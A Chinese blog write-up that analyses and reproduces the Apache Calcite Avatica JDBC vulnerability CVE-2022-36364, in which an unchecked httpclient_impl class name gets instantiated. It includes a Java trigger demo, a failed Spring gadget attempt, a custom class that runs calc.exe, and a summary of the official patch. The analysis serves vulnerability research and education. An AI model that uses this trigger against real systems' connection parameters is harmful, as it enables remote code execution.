前段时间注意到 Apache Calcite Avatica 远程代码执行漏洞 CVE-2022-36364,搜了一圈也没看到像样的分析和复现文章,干脆自己动手研究,看看能不能找到可行的利用方式。
先拿最近比较火的 DeepSeek 试了试,问它对这个漏洞了解多少。


从回答里基本能摸清漏洞的轮廓:具体版本范围、产生原因都交代得比较清楚。
漏洞简介
Apache Calcite Avatica JDBC 驱动程序会根据 httpclient_impl 连接属性提供的类名来创建 HTTP 客户端实例,但问题在于,实例化之前它并不会检查这个类是否实现了预期的接口——这等于是给别人递了一把钥匙,让人随便拿什么类来执行代码。
要让这个漏洞真正产生危害,还需要满足两个前提:
- 攻击者必须能控制 JDBC 连接参数
- 类路径中存在一个接受 URL 参数并且能执行代码的构造函数(目前得自己构造)
漏洞复现 & 分析
简单起见,直接用 Maven 搭漏洞环境。
<dependency>
<groupId>org.apache.calcite.avatica</groupId>
<artifactId>avatica</artifactId>
<version>1.21.0</version>
</dependency>
环境搭好之后,就得写一段触发漏洞的代码。我比较推荐从代码补丁入手——一般修复之后都会写个测试类来验证改动。

import org.apache.calcite.avatica.BuiltInConnectionProperty;
import org.apache.calcite.avatica.ConnectionConfig;
import org.apache.calcite.avatica.ConnectionConfigImpl;
import org.apache.calcite.avatica.remote.AvaticaHttpClient;
import org.apache.calcite.avatica.remote.AvaticaHttpClientFactory;
import org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl;
import java.net.URL;
import java.util.Properties;
public class test {
public static void main(String[] args) throws Exception {
Properties props = new Properties();
props.setProperty(BuiltInConnectionProperty.HTTP_CLIENT_IMPL.name(), "className");
URL url = new URL("url");
ConnectionConfig config = new ConnectionConfigImpl(props);
AvaticaHttpClientFactory httpClientFactory = new AvaticaHttpClientFactoryImpl();
AvaticaHttpClient client = httpClientFactory.getClient(url, config, null);
}
}
这样一个漏洞 Demo 就出来了。className 和 url 都在我们掌控之中,接着调试一下看看数据流。

跟进 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient。

到这里就发现,最终交给 instantiateClient 处理的两个参数——className 和 url,一个是直接传进来的,另一个来自 config.httpClientClass(),从配置对象里取出 HTTP 客户端实现类的名称并作为 String 返回。

所以当参数流入 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient 之后,className 和 url 都是十足的可控变量。

不用再往下跟,关键代码直接映入眼帘:constructor.newInstance(Objects.requireNonNull(url));。
这样一来,通过控制 className 和 url,完全可以调用任意类——但前提是这个类必须能处理 URL 参数。
一开始我琢磨的思路是,利用 Spring 里那类能加载远程配置的构造函数来实现 RCE。
org.springframework.context.support.ClassPathXmlApplicationContext
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class JXpathDemo {
public static void main(String[] args) {
String s = "http://127.0.0.1:8080/bean.xml";
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);
}
}
看上去条件齐活了,先跑一下试试。

一运行就报错。仔细看,ClassPathXmlApplicationContext 类根本没有接收 java.net.URL 参数的构造函数——人家要的是 String 类型的路径,专门用来加载 Spring 配置文件。

看来这种利用方式对 Apache Commons JXPath 远程代码执行、PostgreSQL JDBC Driver 任意代码执行之类场景管用,但在当前环境里行不通。(说实话,目前还没找到合适的现成类来触发这个漏洞)
为了进一步说明危害性,我干脆自己写个类来演示。
import java.net.URL;
public class CustomHttpClient {
private URL url;
// 构造函数,接受一个 URL 类型的参数
public CustomHttpClient(URL url) throws Exception {
Runtime.getRuntime().exec("calc.exe");
}
}

漏洞修复
拉出补丁一对比就能发现,官方的修复手段是对传入的类做了类型管制,强制要求必须是 AvaticaHttpClient 的子类。
https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&w=0

本文由云栈社区原创,未经授权请勿转载。